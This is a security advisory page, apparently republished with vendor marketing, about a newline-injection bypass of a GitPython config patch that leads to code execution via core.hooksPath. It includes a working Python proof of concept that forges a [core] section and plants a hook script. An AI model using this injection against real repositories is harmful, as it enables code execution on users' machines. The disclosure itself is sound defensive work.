GHSA-mv93-w799-cj2w
HIGHGitPython: Newline injection in config_writer() section parameter bypasses CVE-2026-42215 patch, enabling RCE via core.hooksPath
Blast Radius
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Description
Summary
The patch for CVE-2026-42215 (GitPython 3.1.49) validates newlines only in the value parameter of set_value(). The section and option parameters are passed to configparser without any newline validation. An attacker who controls the section argument can inject \n to write arbitrary section headers into .git/config, including a forged [core] section with hooksPath pointing to an attacker-controlled directory, leading to RCE when any git hook is triggered.
Details
File: git/config.py — GitPython 3.1.49 (latest patched version)
def set_value(self, section: str, option: str, value) -> "GitConfigParser":
value_str = self._value_to_string_safe(value) # only value is validated
if not self.has_section(section):
self.add_section(section) # section not validated
super().set(section, option, value_str) # option not validated
return self
_write() formats section headers as "[%s]\n" % name. When section = "user]\n[core", this writes [user]\n[core]\n — two valid section headers — into .git/config.
PoC
import git, os, subprocess
repo = git.Repo.init("/tmp/bypass_test")
os.makedirs("/tmp/evil_hooks", exist_ok=True)
with open("/tmp/evil_hooks/pre-commit", "w") as f:
f.write("#!/bin/sh\nid > /tmp/rce_proof.txt\n")
os.chmod("/tmp/evil_hooks/pre-commit", 0o755)
# Inject newline into section parameter (not value — already patched)
with repo.config_writer() as cw:
cw.set_value("user]\n[core", "hooksPath", "/tmp/evil_hooks")
r = subprocess.run(["git", "-C", "/tmp/bypass_test", "config", "core.hooksPath"],
capture_output=True, text=True)
print(r.stdout.strip()) # → /tmp/evil_hooks
subprocess.run(["git", "-C", "/tmp/bypass_test", "commit", "--allow-empty", "-m", "x"])
print(open("/tmp/rce_proof.txt").read()) # → uid=1000(...) RCE confirmed
Impact
Same attack outcome as CVE-2026-42215 (RCE via core.hooksPath injection). The patch is incomplete — only value is validated while section and option remain injectable.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐍PyPI | gitpython | all versions | 3.1.50 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for gitpython. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update gitpython to 3.1.50 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-mv93-w799-cj2w is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-mv93-w799-cj2w is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-mv93-w799-cj2w. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-mv93-w799-cj2w in your dependencies?
O3 detects GHSA-mv93-w799-cj2w across PyPI dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.